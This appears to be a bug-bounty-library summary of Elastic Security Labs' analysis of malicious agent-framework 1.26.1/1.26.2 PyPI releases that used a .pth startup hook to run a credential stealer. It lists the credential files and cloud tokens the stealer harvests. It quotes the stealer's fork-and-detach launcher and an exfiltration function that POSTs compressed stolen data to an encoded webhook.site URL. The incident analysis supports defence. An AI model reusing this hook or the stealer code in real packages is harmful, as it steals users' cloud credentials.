# We caught the agent-framework PyPI compromise six minutes after it published

Malicious agent-framework PyPI releases 1.26.1/1.26.2 shipped a .pth hook that ran a credential stealer on every Python start, harvesting cloud tokens.

- Payout: Real-world hack
- Severity: critical
- Program: agent-framework
- Analysis by: Elastic Security Labs
- Disclosed: 2026-11-18
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/we-caught-the-agent-framework-pypi-compromise-six-minutes-after-it-published
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-we-caught-the-agent-framework-pypi-compromise-six-minutes-after-it-published
- Tags: area:oss domain:cloud domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:azure tech:github-actions tech:python technique:source-review vuln:secrets-leak

**Target:** PyPI package (Python site-packages .pth startup hook)
**Root cause:** Attacker-published package versions added a .pth file whose `import agent_framework_meta` line is executed by Python's site module on every interpreter start, importing a loader in __init__.py that runs _telemetry._start() to fork a detached stealer process.
**Steps:**
1. Publish agent-framework 1.26.1 with new files `agent_framework_meta.pth` and `_telemetry.py`, and appended loader in `__init__.py`.
2. `.pth` contains `import agent_framework_meta`; site module executes it on every Python launch.
3. `__init__.py` loader: `from . import _telemetry as _telemetry; _telemetry._start()` wrapped in try/except.
4. `_start()` checks `_AF_TEL` env var, forks child, `os.setsid()`, runs `_run()`; on Windows uses daemon thread.
5. `_run()` reads `/proc/<pid>/environ` for up to 300 processes filtering TOKEN/SECRET/PASSWORD/KEY=/ENDPOINT_AUTH/SYSTEM_ACCESSTOKEN/IDENTITY_HEADER.
6. Reads ~/.azure, pip.conf, .npmrc, .netrc, .git-credentials, Docker config.json, HF tokens, Foundry config, .env under /app and /workspace, Azure Pipelines .credentials.
7. Calls Azure DevOps OIDC endpoint (SYSTEM_OIDCREQUESTURI) with SYSTEM_ACCESSTOKEN, and IMDS 169.254.169[.]254 for 12 resource tokens.
8. POSTs zlib-compressed Base64 JSON to `https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb?t=telemetry` with UA `af-runtime-diagnostics/1`.
**How found:** Elastic's supply-chain monitor flagged the newly published 1.26.1 as malicious six minutes after release (20:35→20:41 UTC on November 17, 2026), then analyzed the wheel contents to find the .pth hook and stealer.
**Exploitation:** Supply-chain compromise: attacker published two malicious versions to PyPI; any host that installed or built with them executed the stealer on every Python start without importing the package. Stolen env vars, CLI caches, and file credentials were combined with freshly minted Azure DevOps OIDC, GitHub Actions OIDC (added in 1.26.2 via ACTIONS_ID_TOKEN_REQUEST_URL/TOKEN), and IMDS managed-identity tokens for ARM, Graph, Key Vault, Storage, ACR, Azure DevOps, etc., giving the attacker the identity's Azure role assignments. All data exfiltrated to a single webhook.site endpoint.
**Escalation:** Token minting via OIDC/IMDS converts local file/env secrets into live cloud access tokens scoped to the pipeline's federated service connection or managed identity, potentially reaching an entire Azure subscription.
**Insight:** Watch for new .pth files in site-packages on any package update — a single `import X` line in a .pth executes on every Python start with no import needed, making it a stealthy persistence/exec vector for supply-chain attacks.

## Proof of concept (copied exactly from the original report)

**Malicious .pth startup hook line**

```
The attack is triggered by the .pth hook based on the following single line:

import agent_framework_meta
```

**Fork/detach stealer launcher _start()**

```
def _start():
 if os.environ.get("_AF_TEL"):
 return
 os.environ["_AF_TEL"] = "1"
 try:
 if hasattr(os, "fork"):
 pid = os.fork()
 if pid == 0:
 try:
 os.setsid()
 except Exception:
 pass
 _run()
 os._exit(0)
 return
 except Exception:
 pass
 try:
 import threading
 t = threading.Thread(target=_run)
 t.daemon = True
 t.start()
 except Exception:
 pass
```

**Exfiltration POST to webhook.site**

```
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"
# https://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb

def _post(tag, data):
 try:
 import urllib.request
 u = base64.b64decode(_ENC).decode()
 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
 req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
 urllib.request.urlopen(req, timeout=25).read()
 except Exception:
 pass
```

